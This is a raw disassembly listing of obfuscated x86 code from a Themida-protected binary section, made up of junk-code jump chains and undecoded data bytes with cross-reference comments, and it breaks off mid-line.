--------------------------------------------------------------------------- loc_55E265: ; CODE XREF: Themida_:00563F72j pop eax mov ebp, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55D2DB ; --------------------------------------------------------------------------- byte_55E27D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005507CCo aS@ db '$И╫@',0 align 2 dw 0E0C1h dd 3C73E903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E28E: ; CODE XREF: Themida_:005516D6j add edx, edi pop edi jmp loc_562B96 ; --------------------------------------------------------------------------- loc_55E296: ; CODE XREF: Themida_:005570F7j push ecx mov ecx, 0D4104FBh jmp loc_5641F0 ; --------------------------------------------------------------------------- db 0F7h, 0E1h, 68h dd 4CDFh, 0E9241489h, 0FFFF2B9Eh, 64C5815Dh, 5520F610h dd 0FFD84FE9h, 241C8BFFh, 4C481h, 0C5810000h, 0C90AFC67h dd 0FF32B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E2D1: ; CODE XREF: Themida_:005623ACj push eax mov eax, 4 push ebx jmp loc_565A08 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 5624248Bh, 0F33ACEBEh, 7AE6816Ah, 50259250h, 994DBA68h dd 0E8C15868h, 727D0505h, 0D0F733D4h, 12Dh, 27E6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E30A: ; CODE XREF: Themida_:00552483j push 54BDh mov [esp], eax jmp loc_561974 ; --------------------------------------------------------------------------- loc_55E317: ; CODE XREF: Themida_:00560B6Aj and edi, 3742790Bh dec edi sub edi, 0A2D3D8DCh or edx, edi jmp loc_558DD7 ; --------------------------------------------------------------------------- db 40h dd 0FF7923E9h, 4C781FFh, 33000000h, 3C31243Ch, 243C3324h dd 0AC32E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E346: ; CODE XREF: Themida_:00563B37j mov [esp], edi push ebp jmp loc_556017 ; --------------------------------------------------------------------------- db 31h dd 0FF042444h, 0E9582434h, 0FFFF7442h, 0B05809BBh, 8BDD3172h dd 0C481241Ch, 4, 1D8C581h, 0E801B8F0h, 1DD3685Dh, 14890000h dd 99626824h, 34FF799Bh, 0E9515A24h, 0FFFF99A3h, 72E9E588h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E393: ; CODE XREF: Themida_:0055A50Dj push 6317h mov [esp], ebx push 33AAh mov [esp], ebp jmp loc_56559B ; --------------------------------------------------------------------------- loc_55E3A8: ; CODE XREF: Themida_:00550A29j pop eax add esp, 4 push edi mov edi, 5E5B7C0Dh jmp loc_552CEB ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 526168h, 241C8900h, 0C8E95B54h, 0C1000067h dd 0EA6808EAh, 89000040h, 52B82404h, 0E978F329h, 58ACh ; --------------------------------------------------------------------------- loc_55E3E4: ; CODE XREF: Themida_:0055AF7Ej push edi jmp loc_552830 ; --------------------------------------------------------------------------- dw 0C581h dd 6680688Eh, 3C32BA52h, 0E2816862h, 33519C8h, 8105E2C1h dd 0B60244F2h, 51ED8143h, 290D0B6Fh, 51C581D5h, 8B0D0B6Fh dd 0C4832414h, 5DEA0104h, 2105BB53h, 0E9554EC1h, 0FFFFF978h dd 0FD12EA81h, 0D589A823h, 0B03DE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E436: ; CODE XREF: Themida_:00550BE3j xor edx, [esp] pop esp push edi jmp loc_561A8D ; --------------------------------------------------------------------------- dd 0CA5BB805h, 0D8295F38h, 0D2685257h, 5A2A4004h, 449DF281h dd 0D7893F56h, 0F0B6E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E45E: ; CODE XREF: Themida_:00552B5Dj xor [esp], ebp xor ebp, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_55E470: ; CODE XREF: Themida_:00555017j add dword ptr [esp], 4 pop esi add esi, 4 push ebx mov ebx, 4 add esi, ebx mov ebx, [esp] add esp, 4 jmp loc_5598B8 ; --------------------------------------------------------------------------- dw 0EA01h dd 0E9242C8Bh, 0FFFFC6E2h, 3BCB68h, 241C8900h, 0FF8519E9h dd 0FABD55FFh, 29574777h, 0C2815DEFh, 326F119Eh, 7D24C281h dd 0FA016F68h, 7D24B850h, 0C2296F68h, 6B2FE958h, 0C981FFFFh dd 4B044E15h, 0FFED60E9h, 5AD030FFh, 48BC188h, 0DB58E924h dd 6F89FFFFh, 242C8B20h, 4C36E9h db 0 ; --------------------------------------------------------------------------- loc_55E4ED: ; CODE XREF: Themida_:00560802j and edx, 556F2B90h and edx, 67544004h jmp loc_55AB91 ; --------------------------------------------------------------------------- dw 0E389h dd 0FFF090E9h, 20EF81FFh, 12F4249h, 20C781C7h, 812F4249h dd 4B5BADC7h, 2434FF2Ch, 0E563E958h, 0CABEFFFFh, 8123BA13h dd 7F8536F6h, 5EF10156h, 0FF2485E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E535: ; CODE XREF: Themida_:00556D57j xor edi, 8BB7BC2Ch xor edx, edi pop edi xchg ecx, edx dec ecx xchg ecx, edx add edx, 0F4F0A6C8h add ebx, edx pop edx pop edi jmp loc_5533CF ; --------------------------------------------------------------------------- dw 1368h dd 0E9000010h, 0FFFF3EEDh, 5203E4C0h, 0FF6209E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E565: ; CODE XREF: Themida_:0055D608j mov esp, [esp] push edi jmp loc_556877 ; --------------------------------------------------------------------------- dw 575Fh dd 0E7EBBBBFh, 5BC381DBh, 29065911h, 5BEB81FBh, 5F065911h dd 0FEAE9h, 88EB8000h, 0EB80CBFEh, 0E9DD28E5h, 0FFFF9D59h ; --------------------------------------------------------------------------- loc_55E598: ; CODE XREF: Themida_:00554A70j mov edx, 6BDD53E1h not edx shr edx, 3 and edx, 323979F6h jmp loc_55A25A ; --------------------------------------------------------------------------- db 5Ah, 28h, 0F3h dd 0FFD139E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E5B5: ; CODE XREF: Themida_:00556C80j push edx mov edx, 23166DEDh push edi mov edi, 35907BE2h add edx, edi pop edi or edx, 54210EDCh not edx push edi jmp loc_560B55 ; --------------------------------------------------------------------------- word_55E5D2 dw 1CF6h ; DATA XREF: Themida_:005507D4o dd 0D4E99C24h, 81FFFF23h, 4C3h, 4E94E900h, 1D68FFFFh, 8900002Ch dd 74FF243Ch, 34FF0424h, 2434FF24h, 5835E9h db 0 ; --------------------------------------------------------------------------- loc_55E5FD: ; CODE XREF: Themida_:0056366Ej push eax mov eax, 0FA220597h sub esi, eax pop eax add ebp, 4D53A3Fh sub ebp, esi sub ebp, 4D53A3Fh pop esi sub esp, 4 jmp loc_55BD17 ; --------------------------------------------------------------------------- dd 8158C789h, 7B55C5E9h, 81F90178h, 7B55C5C1h, 0D4E95F78h dd 81FFFFC0h, 264A18EBh, 37DEE945h, 0F289FFFFh, 4457E9h dd 81DFF700h, 36E22FF7h, 7C02E993h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E656: ; CODE XREF: Themida_:0055272Cj push edx jmp loc_55BCB0 ; --------------------------------------------------------------------------- dd 0D9F6D1F6h, 8005E1C0h, 0CA3022F1h, 7E2C059h, 0E976F280h dd 0FFFFE187h, 6400C381h, 0D931C07Ch, 59CE095Bh, 6661F681h dd 0B1BB0744h, 316C2B1Dh, 0D8015EF3h, 4C0835Bh, 2474FF50h dd 72E95804h, 0F7FFFF80h, 9244E9DBh, 0C483FFFFh, 6FF3E904h dd 0E95CFFFFh, 4215h, 6467C781h, 0A5E97031h, 81FFFFC7h dd 0F519E5CBh, 54C38133h, 3179F8A9h, 0D0895BDAh, 5FF8015Ah dd 0FF8D21E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E6D9: ; CODE XREF: Themida_:00562117j push edi not dword ptr [esp] mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_55AAA1 ; --------------------------------------------------------------------------- db 52h, 0BAh, 57h dd 0C155BF4Dh, 0E28105E2h, 499D16A3h, 361BE9h db 0 ; --------------------------------------------------------------------------- loc_55E705: ; CODE XREF: Themida_:00563E2Dj add esp, 4 mov edi, esi mov esi, [esp] add esp, 4 sub edi, 14FA2B0Ch add eax, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5627C2 ; --------------------------------------------------------------------------- loc_55E72C: ; CODE XREF: Themida_:00554F53j xor edx, 8C98952Fh add eax, edx pop edx add ecx, eax jmp loc_555F96 ; --------------------------------------------------------------------------- dd 373FA0BAh, 0D0CA816Dh, 0E933A337h, 0FFFF3E51h, 4247429h dd 2404815Eh, 4D1C0D00h, 81240401h, 0D00242Ch, 4F684D1Ch dd 89000013h, 0AEBB241Ch, 8177804Ah, 13291EEBh, 0C3BFE94Fh dd 0E95EFFFFh, 0FFFF52C3h ; --------------------------------------------------------------------------- loc_55E780: ; CODE XREF: Themida_:00553C16j mov ebp, 0D5A40FBh jmp loc_55DBDB ; --------------------------------------------------------------------------- dw 0CE81h dd 69A472E3h, 7BE3EE81h, 815679E6h, 61D12434h, 0E95F4612h dd 2E15h, 0F800132Ch, 1C8B1304h, 4C48124h, 68000000h, 502Ch dd 50241C89h, 0FF2799E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E7C1: ; CODE XREF: Themida_:00557FD3j xor edx, [esp] mov esp, [esp] push 4000h mov [esp], ebp push ecx push 5C73631Fh pop ecx add ecx, 1 push edx mov edx, 6FDE2C34h xor edx, 33AD4F2Bh sub ecx, edx mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp jmp loc_554B51 ; --------------------------------------------------------------------------- db 35h dd 7E18938Eh, 80E9C729h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E803: ; CODE XREF: Themida_:0055DCC3j pop ebp pop dword ptr [esp] jmp loc_55DA2F ; --------------------------------------------------------------------------- loc_55E80C: ; CODE XREF: Themida_:00558F29j neg edx sub esp, 4 mov [esp], edi mov edi, 7AC3EBB5h add edx, edi pop edi mov edi, edx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edi not dword ptr [esp] mov edi, [esp] add esp, 4 push ecx mov ecx, 3AB0F2ECh sub edi, ecx jmp loc_55632A ; --------------------------------------------------------------------------- loc_55E84B: ; CODE XREF: Themida_:005558A7j not edx add edx, 0E6DAFCA7h sub esi, edx pop edx jmp loc_556AD8 ; --------------------------------------------------------------------------- loc_55E85B: ; CODE XREF: Themida_:0055CD3Fj mov bl, dl not bl mov dl, bl mov ebx, [esp] add esp, 4 xor dl, 45h dec dl push 25DBh mov [esp], edx xchg ah, [esp] not ah xchg ah, [esp] mov edx, [esp] add esp, 4 or dl, 0A9h not dl not dl push small 620Ah jmp loc_5648D8 ; --------------------------------------------------------------------------- dd 6FA1EA81h, 0B85009A1h, 1, 7FCFEA81h, 0EA8124B2h, 17FE0C36h dd 0C281C229h, 17FE0C36h, 7FCFC281h, 0E95824B2h, 0FFFFE544h ; --------------------------------------------------------------------------- loc_55E8C4: ; CODE XREF: Themida_:00563A79j add esp, 4 sub al, 96h jmp loc_559FBB ; --------------------------------------------------------------------------- loc_55E8D1: ; CODE XREF: Themida_:00554FF4j push edx mov edx, 2FE064F8h push edi mov edi, 3ED9632Dh push ebp jmp loc_5591EF ; --------------------------------------------------------------------------- loc_55E8E3: ; CODE XREF: Themida_:0056192Cj sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] push esi jmp loc_564A27 ; --------------------------------------------------------------------------- dw 0DEBEh dd 8166363Ah, 54096BEEh, 3E6C147h, 1031BF57h, 0C781505Bh dd 2E55346Dh, 0FF34D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E919: ; CODE XREF: Themida_:00563A86j pop edi sub esp, 4 mov [esp], ebp mov ebp, 2D391BDEh xor ebp, 2D391BDAh add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_5557F9 ; --------------------------------------------------------------------------- loc_55E93E: ; CODE XREF: Themida_:0055225Dj add edx, 581E16B4h jmp loc_5509AF ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 3FE9E189h, 5CFFFF33h, 9C240CD2h, 0FFDC96E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E95D: ; CODE XREF: Themida_:00552FA9j mov [esp], ebp push edx jmp loc_55BC08 ; --------------------------------------------------------------------------- loc_55E966: ; CODE XREF: Themida_:005564BBj mov eax, [esp] jmp loc_5629AA ; --------------------------------------------------------------------------- loc_55E96E: ; CODE XREF: Themida_:00556F93j xor cx, 4C45h add cx, 4389h xor dx, cx jmp loc_559340 ; --------------------------------------------------------------------------- dd 0D987D3F7h, 0E907E1C1h, 0FFFFE89Eh ; --------------------------------------------------------------------------- loc_55E98C: ; CODE XREF: Themida_:0055281Aj neg bh not bh shl bh, 4 jmp loc_562021 ; --------------------------------------------------------------------------- dword_55E998 dd 0E0895050h, 405h, 310FE900h ; DATA XREF: Themida_:00550898o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E9A6: ; CODE XREF: Themida_:00561797j sub edx, eax pop eax add edx, edi push ebp jmp loc_55F993 ; --------------------------------------------------------------------------- db 29h, 0DAh, 5Bh dd 31241433h, 14332414h, 4895C24h, 3E4B6824h, 72E90000h dd 3100005Ah, 81E9241Ch, 81FFFFA6h, 0FFFFFFEDh, 14F755FFh dd 0E94D5D24h, 2D42h, 2D0306BBh, 0EEDFE94Eh, 0E968FFFFh dd 8900002Ch, 4BF243Ch, 89000000h, 243C8BF9h, 4C481h, 2DE90000h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA0B: ; CODE XREF: Themida_:0055878Dj add ebx, ebp mov ebp, [esp] jmp loc_55C6B3 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8004C483h, 0B652FFEFh, 62EE8078h, 4EC8150h, 89000000h dd 12E9241Ch, 5900003Ah, 4C481h, 68660000h, 89665A39h dd 0EC812414h, 4, 0B3241C89h, 2E3C05Eh, 523EC380h, 0FF2153E9h dd 240489FFh, 405E089h, 5000000h, 4, 0E9240487h, 5F3Dh dd 148BD601h, 4C48124h, 31000000h, 38A8E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EA82: ; CODE XREF: Themida_:005647BCj or edx, eax shl edx, 1 push ebx push 7D4Bh jmp loc_55EC01 ; --------------------------------------------------------------------------- db 81h, 0F6h, 6Eh dd 2932F329h, 4B1EE9F7h, 0EE83FFFFh, 0E4F68101h, 1E92DA6h dd 0B42DE9F0h, 0E181FFFFh, 3E8F500Dh, 37B1E181h, 0E9C126F3h dd 63E98104h, 1662F94h, 0FB8959CFh, 8B2434FFh, 0C481243Ch dd 4, 4C481h, 0EC830000h, 242C8904h, 0E241DEBDh, 8349E939h dd 0B951FFFFh, 223F7E00h, 1DE18149h, 812D870Eh, 843A08C1h dd 49D1F704h, 21EC181h, 0CF296EC2h, 0FFF80159h, 3C8B2434h dd 0CB25E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB16: ; CODE XREF: Themida_:0056175Cj mov ebp, ebx pop ebx add esi, ebp jmp loc_555B57 ; --------------------------------------------------------------------------- dd 4C281h, 0C2810000h, 4, 5C241487h, 348BF529h, 4C48124h dd 45000000h, 457EF581h, 0ACE934D2h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB47: ; CODE XREF: Themida_:00565AFDj xor ebx, 5AA978D2h sub edx, ebx jmp loc_555615 ; --------------------------------------------------------------------------- dd 5A2434FFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0A8E9243Ch dd 81FFFF70h, 4C1h, 8AE95100h, 89000057h, 241C8BDDh, 4C481h dd 0EA290000h, 399EE95Dh, 6857FFFFh, 5EB6h, 0FF9D36E9h dd 4B8FFh, 0C2010000h, 0FF59FAE9h, 13BD55FFh, 8152E839h dd 0C2ECE6EDh, 904DE929h, 535DFFFFh, 23C3E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EBBE: ; CODE XREF: Themida_:00550DEAj mov [esp], ecx push eax mov eax, 39F5075Eh mov ecx, eax pop eax jmp loc_556085 ; --------------------------------------------------------------------------- db 80h dd 0C8286CF1h, 240C8B66h, 8302C483h, 0AFE904ECh, 31FFFF84h dd 4332404h, 24248B24h, 0E92434FFh, 0FFFF24F2h ; --------------------------------------------------------------------------- loc_55EBF4: ; CODE XREF: Themida_:0055CC3Cj sub edi, 0E1FFBC84h mov esi, edi jmp loc_559A3B ; --------------------------------------------------------------------------- loc_55EC01: ; CODE XREF: Themida_:0055EA8Cj mov [esp], edx push eax push 44570ACBh pop eax sub eax, 6DC08B4h mov edx, eax pop eax jmp loc_5632E6 ; --------------------------------------------------------------------------- dd 4C381h, 0C3810000h, 4, 74C6E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC2A: ; CODE XREF: Themida_:00551B2Dj push esi mov esi, 5A31310Fh add [esp+4], esi pop esi pop eax push ebx jmp loc_557ADC ; --------------------------------------------------------------------------- dd 3E3FF281h, 7BE96BA4h, 57FFFFCFh, 2E70BB53h, 73E96EA2h dd 1000055h, 56ED81DDh, 0E9555713h, 0FFFF7631h ; --------------------------------------------------------------------------- loc_55EC60: ; CODE XREF: Themida_:0055D6BEj add esi, 4 jmp loc_5578CB ; --------------------------------------------------------------------------- db 0BAh dd 2927236Bh, 0FFA21DE9h, 525342FFh, 4E0F62BAh, 28D9BB27h dd 0D3299596h, 5CE94B5Ah, 0C0000059h, 0F28008E2h, 0C3EA808Bh dd 8904EC83h, 8850241Ch, 0D786E9D0h, 1433FFFFh, 24248B24h dd 24148B66h, 128D68h, 24148900h, 0CB685A54h, 89000072h dd 5655240Ch, 2680E9h, 0C2815A00h, 4, 4C281h, 14870000h dd 0CBE95C24h, 68FFFFD0h, 7CC2h, 89240C89h, 0A95E9E1h dd 0BA520000h, 247832F5h, 148BD629h, 4C48124h, 4E000000h dd 4646D6F7h, 2FE9EED1h, 81FFFF98h, 3F0714C2h, 0E9CA012Eh dd 5C9h, 87E9C201h, 0FFFFFF6Eh, 34FF2404h, 33E95824h, 81FFFF41h dd 4C3h, 0DBEEE900h, 0E6C0FFFFh, 80E68003h, 0E981C680h dd 57Ah ; --------------------------------------------------------------------------- loc_55ED40: ; CODE XREF: Themida_:0055FE91j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_56566D ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0C7810000h, 4, 5C243C87h, 0C8F5E950h, 0D301FFFFh dd 0FF8145E9h, 0C2815AFFh, 4, 4BF57h, 0FA010000h, 5215E9h dd 242C8B00h, 6804C483h, 425Fh, 0B9240C89h, 4, 3A1AE9h dd 5FFA8900h, 34FFD031h, 54535A24h, 0E189515Bh, 4C181h dd 0E9830000h, 240C8704h, 2414895Ch, 3523CC68h, 14E95A2Eh dd 89000066h, 0DE9243Ch db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDD3: ; CODE XREF: Themida_:0055A470j add ecx, ebp add ecx, 41B56973h pop ebp jmp loc_5594FC ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 6 dd 3088C780h, 0E9535BFDh, 0FFFFA109h, 6F5D442Dh, 2434FF37h dd 8324348Bh, 895204C4h, 4B951E2h, 1000000h, 0E95159CAh dd 0FFFFA940h, 4C381h, 0C3810000h, 4, 6E84E9h db 0 ; --------------------------------------------------------------------------- loc_55EE21: ; CODE XREF: Themida_:00551472j mov eax, 3F755528h neg eax shl eax, 8 shl eax, 7 jmp loc_556C1B ; --------------------------------------------------------------------------- db 30h dd 2434FFF0h, 0FF307AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE3D: ; CODE XREF: Themida_:00558BB5j pop esp jmp loc_5577B2 ; --------------------------------------------------------------------------- db 0BFh dd 77A52B73h, 0EF81D7F7h, 2ABF1538h, 5CB0F781h, 17E92E84h dd 68FFFFADh, 0 dd 8A242428h, 0C4832424h, 4EC8104h, 89000000h, 44B62414h dd 2387E9h, 0BBAC2D00h, 0C201FFD6h, 3D50E958h, 0CD81FFFFh dd 4C6833D5h, 0FD87D5F7h, 0FD87DFF7h, 4CA1BE56h, 0C5816D2Dh dd 356F325Ah, 2EE9F529h, 8BFFFF49h, 0C481243Ch, 4, 0FFB86CE9h dd 405FFh, 0C1E90000h, 5A00001Eh, 0F9E9F830h, 66000033h dd 66240C89h, 66C8B60Fh, 0D8E99C51h, 81FFFF1Ah, 673D4FEEh dd 81D62922h, 673D4FC6h, 8CE95A22h, 6800004Ch, 3C4A58D0h dd 0EB302D58h, 0C689CA0Eh, 3101E958h, 0E8C10000h, 29633503h dd 0C32907B5h, 24348B58h, 158E9h db 0 ; --------------------------------------------------------------------------- loc_55EF11: ; CODE XREF: Themida_:00551917j push cx pushf jmp loc_564D4A ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 936804C4h, 8900004Eh, 4BB241Ch, 0E9000000h dd 16DBh, 0FF8734FFh, 48B2434h, 4C48124h, 83000000h, 0D6E904ECh dd 0BFFFFFA3h, 22091B45h, 6270BE56h, 0C146225Ch, 82E907E6h dd 81FFFF2Ah, 4C2h, 4CE95200h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF6B: ; CODE XREF: Themida_:00564E33j xor ebp, 443B308Bh jmp loc_564BEA ; --------------------------------------------------------------------------- dw 535Bh dd 66F5E9h db 0 ; --------------------------------------------------------------------------- loc_55EF7D: ; CODE XREF: Themida_:005592E0j pop esi pop ebp sub [esp+4], ebx pop ebx pop ebx add ebx, 91D10A0h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 mov eax, [esp] add esp, 4 push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_55D763 ; --------------------------------------------------------------------------- loc_55EFC0: ; CODE XREF: Themida_:0055DCDCj mov edx, 2 add ecx, edx pop edx jmp loc_558764 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0EC8025B4h, 0F162E9ADh, 34FFFFFFh, 56F2E924h, 4890000h dd 38246824h, 0C890000h, 1E0F6824h, 22E9312Ah, 29FFFFA0h dd 5773E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EFFE: ; CODE XREF: Themida_:00563A39j mov [esp], edi push 7BA9h mov [esp], ebp mov ebp, 113B3720h sub [esp+4], ebp mov ebp, [esp] add esp, 4 jmp loc_559D13 ; --------------------------------------------------------------------------- loc_55F01D: ; CODE XREF: Themida_:0055B357j push 7249h jmp loc_565102 ; --------------------------------------------------------------------------- db 5 dd 3E31100Dh, 8904EC83h, 0C5BD242Ch, 2905B869h, 242C8BE8h dd 426E9h, 0E9F90100h, 0FFFF864Dh, 0CD2FE948h, 248BFFFFh dd 83526624h, 72E904ECh, 0C1FFFFFFh, 685007E7h, 7FB4h dd 0FF4611E9h, 4C483FFh, 81242C8Bh, 4C4h, 0E930FF00h, 0FFFF1933h dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BE243489h, 477953C5h dd 1C99EBDh, 1EED818Ch, 2909712Dh, 1EC581F5h, 8B09712Dh dd 0C4832434h, 0E8895004h, 204AE950h, 0E951FFFFh, 0FFFFDC62h ; --------------------------------------------------------------------------- loc_55F0BC: ; CODE XREF: Themida_:00552527j jmp loc_5509AF ; --------------------------------------------------------------------------- db 89h, 0DAh, 5Bh dd 0FF7345E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F0C9: ; CODE XREF: Themida_:00552093j mov edx, 35DC5062h push edi mov edi, 241F7AFCh add edi, 5BF82AA7h jmp loc_555B0A ; --------------------------------------------------------------------------- db 0D1h dd 0F4C381EBh, 212470D4h, 0E6815BDEh, 64934C97h, 2843BB53h dd 0F3811C83h, 66DB0E09h, 5954E9h, 0BF575E00h, 3E6B402Dh dd 1A29F781h, 0EF81306Ah, 1CA61DE0h, 0FF3F78E9h, 0D5B850FFh dd 0E9555E2Ah, 0FFFFC090h ; --------------------------------------------------------------------------- loc_55F124: ; CODE XREF: Themida_:0055F6FFj and edx, 43F51225h shl edx, 1 xor edx, 6EF47B16h add edx, 5021F10Dh add edi, edx jmp loc_559764 ; --------------------------------------------------------------------------- db 31h dd 3E95EF1h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F147: ; CODE XREF: Themida_:005509B5j mov [esp], ecx mov ch, 0A5h sub ch, 1Eh add al, ch jmp loc_55875C ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFDCB2h ; --------------------------------------------------------------------------- loc_55F15C: ; CODE XREF: Themida_:00564FAFj mov ebp, 5E6243D0h jmp loc_55C35A ; --------------------------------------------------------------------------- loc_55F166: ; CODE XREF: Themida_:0056180Cj pop ebp add ebp, 0DD02F89Ch mov ebx, ebp pop ebp add ebx, eax jmp loc_555A4F ; --------------------------------------------------------------------------- loc_55F177: ; CODE XREF: Themida_:0055460Fj xchg esi, [esp] jmp loc_558826 ; --------------------------------------------------------------------------- loc_55F17F: ; CODE XREF: Themida_:00557327j pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr ecx, 7 add ecx, 0FECAD954h add eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp push 5F734E61h pop ebp dec ebp add ebp, 0A08CB1A4h add eax, ebp jmp loc_560D29 ; --------------------------------------------------------------------------- dw 0DAF7h dd 6855h, 0E95D0000h, 45A9h, 2C040BBAh, 24543109h, 24148B04h dd 0FF67BEE9h, 90EA81FFh, 118B200h, 38BE56CAh, 811D606Eh dd 0DF0972E6h, 0B8C68168h, 813D5D2Fh, 2F3778F6h, 59D5E95Dh dd 0C481FFFFh, 4, 34FFC801h, 9AE95924h, 5FFFFF70h, 5AEDBB53h dd 86E97E58h, 68000028h, 374Ah, 0FF9607E9h, 0E28952FFh dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 405E089h dd 81000000h, 4ECh, 241C8900h, 4EC8357h, 0E9243489h, 0FFFF82C5h dd 8324148Bh, 34FF04C4h, 89515E24h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0FF5C5FE9h, 0AFEA81FFh, 815C83F0h dd 4ECh, 24148900h, 4BE95A5Dh db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F297: ; CODE XREF: Themida_:005602B7j dec al shr al, 4 sub al, 6Eh jmp loc_551ABF ; --------------------------------------------------------------------------- db 2Dh dd 195D25Dh, 48BC301h, 4C48124h, 8F000000h, 16F5E900h dd 0F500FFFFh, 0A268665Ah, 30AE902h, 0E5890000h, 4C581h dd 0ED810000h, 4, 5C242C87h, 5C6BE9h, 14EA8100h, 8B2E3F07h dd 9E9240Ch db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F2EB: ; CODE XREF: Themida_:0055513Fj sub ebp, 25CD73E1h add ebp, 1 jmp loc_55873C ; --------------------------------------------------------------------------- db 5, 43h, 4Ch dd 0E80169CDh, 0CD4C432Dh, 0C0835D69h, 24048704h, 243C8B5Ch dd 4C481h, 0BB530000h, 766C7284h, 0ABE9D3F7h, 0BBFFFFC2h dd 13094AD9h, 4030F381h, 515215D1h, 7CFEB9h, 0BAE6BA28h dd 0CA2988C6h, 0BC6FE959h, 0C481FFFFh, 4, 4D2CE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F34E: ; CODE XREF: Themida_:00558141j push edi jmp loc_561253 ; --------------------------------------------------------------------------- dd 1C78147h, 0E9000000h, 0C85h ; --------------------------------------------------------------------------- loc_55F360: ; CODE XREF: Themida_:0055432Cj mov esp, [esp] sub esp, 4 mov [esp], ebp jmp loc_553F45 ; --------------------------------------------------------------------------- dw 8147h dd 98FD7EEFh, 1AAFE904h, 0EC81FFFFh, 4, 0FFA56EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F385: ; CODE XREF: Themida_:0055E260j xor edi, 37623681h add edi, 54A07CDEh xor edi, 0BAEFA320h sub ebx, edi pop edi xor eax, ebx pop ebx xor edx, eax jmp loc_56262C ; --------------------------------------------------------------------------- loc_55F3A4: ; CODE XREF: Themida_:005648E2j xor dl, 2Dh mov ch, dl pop edx dec ch push cx jmp loc_55691C ; --------------------------------------------------------------------------- db 0C1h dd 0E0C106E8h, 0CE543505h, 0EC837948h, 24048904h, 0DF242C81h dd 5A34D86Ch, 6CDFC281h, 2D5834D8h, 0BAC1708h, 805D029h dd 5A0BAC17h, 5A9A685Bh, 34890000h, 584D6824h, 0E95E4BBDh dd 4E79h, 1E6D4ABAh, 81DAF720h, 5927A4CAh, 0BEA8106h, 0E93C026Ah dd 0FFFF7476h, 468h, 0BD555800h, 5A18148Dh, 74E9EF01h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F41F: ; CODE XREF: Themida_:0055A81Fj add esp, 4 jmp loc_55B45A ; --------------------------------------------------------------------------- db 30h dd 0FC885AD7h, 0E9241C8Bh, 0FFFF31D5h, 2C04C483h, 0D0D0E9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F43E: ; CODE XREF: Themida_:0055130Bj mov [esp], edi sub esp, 4 jmp loc_5554B4 ; --------------------------------------------------------------------------- db 5Fh, 5, 4 dd 87000000h, 248B2404h, 9CC83B24h, 0FF1552E9h, 285866FFh dd 0F4E95AD4h, 83FFFFF9h, 1E904C4h, 0BA00003Ch, 0FFFFFFFFh dd 0D5AD001h, 15BE6A50h, 0FFA12FE9h, 24048FFFh, 0FF24248Bh dd 68582434h, 66AEh, 54243489h, 